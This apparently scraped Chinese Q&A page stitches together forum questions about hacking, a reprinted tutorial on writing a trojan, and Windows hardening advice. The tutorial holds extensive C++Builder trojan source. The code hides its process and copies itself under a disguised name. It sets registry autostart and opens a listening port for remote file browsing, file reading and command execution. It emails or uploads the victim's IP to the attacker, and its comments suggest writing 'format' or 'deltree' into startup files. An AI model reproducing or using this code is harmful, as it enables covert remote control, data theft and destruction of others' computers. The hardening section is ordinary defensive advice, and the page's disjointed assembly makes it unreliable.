1.木马是怎么利用电脑系统的漏洞来进行攻击的?

2.我的电脑经常被攻击,我用的是瑞星最新版本的杀毒软件和防火墙,系统漏洞已经修复,但还是被攻击,怎么办

3.我电脑好像被一个黑客给监控了,重装系统没用,哪位兄台能彻底帮帮我。感激不尽

4.电脑中为什么经常会有高危漏洞?

5.我看很多单位电脑用的还是XP系统,岂不是很容易受黑客攻击?

木马是怎么利用电脑系统的漏洞来进行攻击的?

一般谁会攻击电脑系统-一般谁会攻击电脑系统啊

木马是如何编写的(一)

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在DosWindows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈难道你还给受害者传一个1兆多的动态链接库Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion >= 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry->RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket->ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket->SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket->SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket->SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent->d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib & FA_RDONLY)

file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib & FA_DIREC)

fwrite(" <DIR> ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

for(int i=0;i<300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket->SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

file://如果已试了100次了

Socket->SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

for(int i=0;i<300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket->SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9xNT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion < 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);

file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

file://GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);

file://LookupPrivilegeValue()的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try>100)

{

Socket->SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket->SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket->Close();

file://关闭服务

ServerSocket1->Active =true;

file://再次打开服务

if (NMSMTP1->Connected) NMSMTP1->Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1->Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和amail

NMSMTP1->UserID = "";

file://你SMTP的ID

try

{

NMSMTP1->Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1->PostMessage->FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1->PostMessage->FromName = "Casualty";

file://受害者的名字

NMSMTP1->PostMessage->ToAddress->Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1->PostMessage->Subject = "Server Running Now!";

file://信的主题

NMSMTP1->SendMail();

file://发送!

return;

file://返回

NextTime:

NMFTP1->Host = "ftp.go.163";

file://你的FTP服务器的地址

NMFTP1->UserID = "";

file://你的用户ID

NMFTP1->Port = 21;

file://FTP端口号,一般为21

NMFTP1->Password = "";

file://你的FTP的密码

if(NMFTP1->Connected) NMFTP1->Disconnect();

file://如果已连接就断开

try

{

NMFTP1->Connect();

file://再连接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");

file://创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1->RemoveDir("public_html");

file://删除public_html目录

NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);

file://上传!

}

啊,超长的OnClientRead终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include <stdlib.h>

#include <dirent.h>

#include <fcntl.h>

#include <dos.h>

#include <sys\stat.h>

#include <winbase.h>

#include <stdio.h>

#include <process.h>

#include <io.h>

#include <mmsystem.h>

至此,服务器端(Server)程序已全部

我的电脑经常被攻击,我用的是瑞星最新版本的杀毒软件和防火墙,系统漏洞已经修复,但还是被攻击,怎么办

这个问题,真的是。。。。。。。。。。。。。

攻击你是攻击者的事,他才不管你有没有杀毒软件,有没有漏洞。现在一般都是一个网段一个网段扫描的,攻击到谁都有可能。

既然你装了防火墙,攻击一般情况下是不会成功的,你就放心上网好了。

我电脑好像被一个黑客给监控了,重装系统没用,哪位兄台能彻底帮帮我。感激不尽

下面我们就来看看通过什么样的手段来更有效的防范攻击。

1.察看本地共享

运行CMD输入net share,如果看到有异常的共享,那么应该关闭。但是有时你关闭共享下次开机的时候又出现了,那么你应该考虑一下,你的机器是否已经被黑客所控制了,或者中了。

2.删除共享(每次输入一个)

net share admin$ /delete

net share c$ /delete

net share d$ /delete(如果有e,f,……可以继续删除)

3.删除ipc$空连接

在运行内输入regedit,在注册表中找到 HKEY-LOCAL_MACHINESYSTEMCurrentControSetControlLSA 项里数值名称RestrictAnonymous的数值数据由0改为1。

4.关闭自己的139端口,ipc和RPC漏洞存在于此。

关闭139端口的方法是在“网络和拨号连接”中“本地连接”中选取“Internet协议(TCP/IP)”属性,进入“高级TCP/IP设置”“WinS设置”里面有一项“禁用TCP/IP的NETBIOS”,打勾就关闭了139端口。

5.防止rpc漏洞

打开管理工具——服务——找到RPC(Remote Procedure Call (RPC) Locator)服务——将故障恢复中的第一次失败,第二次失败,后续失败,都设置为不操作。

XP SP2和2000 pro sp4,均不存在该漏洞。

6.445端口的关闭

修改注册表,添加一个键值

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters在右面的窗口建立一个SMBDeviceEnabled 为REG_DWORD类型键值为 0这样就ok了

7.3389的关闭

XP:我的电脑上点右键选属性--> 远程,将里面的远程协助和远程桌面两个选项框里的勾去掉。

Win2000server 开始--> 程序--> 管理工具--> 服务里找到Terminal Services服务项,选中属性选项将启动类型改成手动,并停止该服务。(该方法在XP同样适用)

使用2000 pro的朋友注意,网络上有很多文章说在Win2000pro 开始--> 设置--> 控制面板--> 管理工具--> 服务里找到Terminal Services服务项,选中属性选项将启动类型改成手动,并停止该服务,可以关闭3389,其实在2000pro 中根本不存在Terminal Services。

8.4899的防范

网络上有许多关于3389和4899的入侵方法。4899其实是一个远程控制软件所开启的服务端端口,由于这些控制软件功能强大,所以经常被黑客用来控制自己的肉鸡,而且这类软件一般不会被杀毒软件查杀,比后门还要安全。

4899不象3389那样,是系统自带的服务。需要自己安装,而且需要将服务端上传到入侵的电脑并运行服务,才能达到控制的目的。

所以只要你的电脑做了基本的安全配置,黑客是很难通过4899来控制你的。

9、禁用服务

打开控制面板,进入管理工具——服务,关闭以下服务

1.Alerter[通知选定的用户和计算机管理警报]

2.ClipBook[启用“剪贴簿查看器”储存信息并与远程计算机共享]

3.Distributed File System[将分散的文件共享合并成一个逻辑名称,共享出去,关闭后远程计算机无法访问共享

4.Distributed Link Tracking Server[适用局域网分布式链接 踪客户端服务]

5.Human Interface Device Access[启用对人体学接口设备(HID)的通用输入访问]

6.IMAPI CD-Burning COM Service[管理 CD 录制]

7.Indexing Service[提供本地或远程计算机上文件的索引内容和属性,泄露信息]

8.Kerberos Key Distribution Center[授权协议登录网络]

9.License Logging[监视IIS和SQL如果你没安装IIS和SQL的话就停止]

10.Messenger[警报]

11.NetMeeting Remote Desktop Sharing[netmeeting公司留下的客户信息收集]

12.Network DDE[为在同一台计算机或不同计算机上运行的程序提供动态数据交换]

13.Network DDE DSDM[管理动态数据交换 (DDE) 网络共享]

14.Print Spooler[打印机服务,没有打印机就禁止吧]

15.Remote Desktop Help& nbsp;Session Manager[管理并控制远程协助]

16.Remote Registry[使远程计算机用户修改本地注册表]

17.Routing and Remote Access[在局域网和广域往提供路由服务.黑客理由路由服务刺探注册信息]

18.Server[支持此计算机通过网络的文件、打印、和命名管道共享]

19.Special Administration Console Helper[允许管理员使用紧急管理服务远程访问命令行提示符]

20.TCP/IPNetBIOS Helper[提供 TCP/IP 服务上的 NetBIOS 和网络上客户端的 NetBIOS 名称解析的支持而使用户能够共享文件、打印和登录到网络]

21.Telnet[允许远程用户登录到此计算机并运行程序]

22.Terminal Services[允许用户以交互方式连接到远程计算机]

23.Window s Image Acquisition (WIA)[照相服务,应用与数码摄象机]

如果发现机器开启了一些很奇怪的服务,如r_server这样的服务,必须马上停止该服务,因为这完全有可能是黑客使用控制程序的服务端。

10、账号密码的安全原则

首先禁用guest帐号,将系统内建的administrator帐号改名~~(改的越复杂越好,最好改成中文的),而且要设置一个密码,最好是8位以上字母数字符号组合。 (让那些该死的黑客慢慢猜去吧~)

如果你使用的是其他帐号,最好不要将其加进administrators,如果加入administrators组,一定也要设置一个足够安全的密码,同上如果你设置adminstrator的密码时,最好在安全模式下设置,因为经我研究发现,在系统中拥有最高权限的帐号,不是正常登陆下的adminitrator帐号,因为即使有了这个帐号,同样可以登陆安全模式,将sam文件删除,从而更改系统的administrator的密码!而在安全模式下设置的administrator则不会出现这种情况,因为不知道这个administrator密码是无法进入安全模式。权限达到最大这个是密码策略:用户可以根据自己的习惯设置密码,下面是我建议的设置(关于密码安全设置,我上面已经讲了,这里不再罗嗦了。

打开管理工具.本地安全设置.密码策略

1.密码必须符合复杂要求性.启用

2.密码最小值.我设置的是8

3.密码最长使用期限.我是默认设置42天

4.密码最短使用期限0天

5.强制密码历史 记住0个密码

6.用可还原的加密来存储密码 禁用

11、本地策略:

这个很重要,可以帮助我们发现那些心存叵测的人的一举一动,还可以帮助我们将来追查黑客。

(虽然一般黑客都会在走时会清除他在你电脑中留下的痕迹,不过也有一些不小心的)

打开管理工具

找到本地安全设置.本地策略.审核策略

1.审核策略更改 成功失败

2.审核登陆 成功失败

3.审核对象访问 失败

4.审核跟踪过程 无审核

5.审核目录服务访问 失败

6.审核特权使用 失败

7.审核系统 成功失败

8.审核帐户登陆时间 成功失败

9.审核帐户管理 成功失败

然后再到管理工具找到

查看器

应用程序:右键> 属性> 设置日志大小上限,我设置了50mb,选择不覆盖

安全性:右键> 属性> 设置日志大小上限,我也是设置了50mb,选择不覆盖

系统:右键> 属性> 设置日志大小上限,我都是设置了50mb,选择不覆盖

12、本地安全策略:

打开管理工具

找到本地安全设置.本地策略.安全选项

1.交互式登陆.不需要按 Ctrl+Alt+Del 启用 [根据个人需要,? 但是我个人是不需要直接输入密码登陆的]

2.网络访问.不允许SAM帐户的匿名枚举 启用

3.网络访问.可匿名的共享 将后面的值删除

4.网络访问.可匿名的命名管道 将后面的值删除

5.网络访问.可远程访问的注册表路径 将后面的值删除

6.网络访问.可远程访问的注册表的子路径 将后面的值删除

7.网络访问.限制匿名访问命名管道和共享

8.帐户.(前面已经详细讲过)

13、用户权限分配策略:

打开管理工具

找到本地安全设置.本地策略.用户权限分配

1.从网络访问计算机 里面一般默认有5个用户,除Admin外我们删除4个,当然,等下我们还得建一个属于自己的ID

2.从远程系统强制关机,Admin帐户也删除,一个都不留

3.拒绝从网络访问这台计算机 将ID删除

4.从网络访问此计算机,Admin也可删除,如果你不使用类似3389服务

5.通过远端强制关机。删掉

14、终端服务配置

打开管理工具

终端服务配置

1.打开后,点连接,右键,属性,远程控制,点不允许远程控制

2.常规,加密级别,高,在使用标准Windows验证上点√!

3.网卡,将最多连接数上设置为0

4.高级,将里面的权限也删除.[我没设置]

再点服务器设置,在Active Desktop上,设置禁用,且限制每个使用一个会话

15、用户和组策略

打开管理工具

计算机管理.本地用户和组.用户;

删除Support_388945a0用户等等

只留下你更改好名字的adminisrator权限

计算机管理.本地用户和组.组

组.我们就不分组了,每必要把

16、自己动手DIY在本地策略的安全选项

1)当登陆时间用完时自动注销用户(本地) 防止黑客密码渗透.

2)登陆屏幕上不显示上次登陆名(远程)如果开放3389服务,别人登陆时,就不会残留有你登陆的用户名.让他去猜你的用户名去吧.

3)对匿名连接的额外限制

4)禁止按 alt+crtl +del(没必要)

5)允许在未登陆前关机[防止远程关机/启动、强制关机/启动]

6)只有本地登陆用户才能访问cd-rom

7)只有本地登陆用户才能访问软驱

8)取消关机原因的提示

A、打开控制面板窗口,双击“电源选项”图标,在随后出现的电源属性窗口中,进入到“高级”标签页面;

B、在该页面的“电源按钮”设置项处,将“在按下计算机电源按钮时”设置为“关机”,单击“确定”按钮,来退出设置框;

C、以后需要关机时,可以直接按下电源按键,就能直接关闭计算机了。当然,我们也能启用休眠功能键,来实现快速关机和开机;

D4、要是系统中没有启用休眠模式的话,可以在控制面板窗口中,打开电源选项,进入到休眠标签页面,并在其中将“启用休眠”选项选中就可以了。

9)禁止关机跟踪

开始“Start -> ”运行“ Run -> 输入”gpedit.msc “,在出现的窗口的左边部分,选择 ”计算机配置“(Computer Configuration )-> ”管理模板“(Administrative Templates)-> ”系统“(System),在右边窗口双击“Shutdown Event Tracker” 在出现的对话框中选择“禁止”(Disabled),点击然后“确定”(OK)保存后退出这样,你将看到类似于Windows 2000的关机窗口

17、常见端口的介绍

TCP

21 FTP

22 SSH

23 TELNET

25 TCP SMTP

53 TCP DNS

80 HTTP

135epmap

138[冲击波]

139smb

445

1025 DCE/1ff70682-0a51-30e8-076d-740be8cee98b

1026 DCE/12345778-1234-abcd-ef00-0123456789ac

1433 TCP SQL SERVER

5631 TCP PCANYWHERE

5632 UDP PCANYWHERE

3389 Terminal Services

4444[冲击波]

UDP

67[冲击波]

137 netbios-ns

161 An SNMP Agent is running/ Default community names of the SNMP Agent

关于UDP一般只有腾讯QQ会打开4000或者是8000端口或者8080,那么,我们只运 行本机使用4000这几个端口就行了

18、另外介绍一下如何查看本机打开的端口和tcp\ip端口的过滤

开始--运行--cmd

输入命令netstat -a

会看到例如(这是我的机器开放的端口)

Proto Local AddressForeign AddressState

TCPyf001:epmap yf001:0 LISTE

TCPyf001:1025(端口号)yf001:0 LISTE

TCP(用户名)yf001:1035yf001:0 LISTE

TCPyf001:netbios-ssn yf001:0 LISTE

UDPyf001:1129*:*

UDPyf001:1183*:*

UDPyf001:1396*:*

UDPyf001:1464*:*

UDPyf001:1466*:*

UDPyf001:4000*:*

UDPyf001:4002*:*

UDPyf001:6000*:*

UDPyf001:6001*:*

UDPyf001:6002*:*

UDPyf001:6003*:*

UDPyf001:6004*:*

UDPyf001:6005*:*

UDPyf001:6006*:*

UDPyf001:6007*:*

UDPyf001:1030*:*

UDPyf001:1048*:*

UDPyf001:1144*:*

UDPyf001:1226*:*

UDPyf001:1390*:*

UDPyf001:netbios-ns *:*

UDPyf001:netbios-dgm *:*

UDPyf001:isakmp *:*

现在讲讲基于Windows的tcp/ip的过滤

控制面板——网络和拨号连接——本地连接——INTERNET协议(tcp/ip)--属性--高级---选项-tcp/ip筛选--属性!!

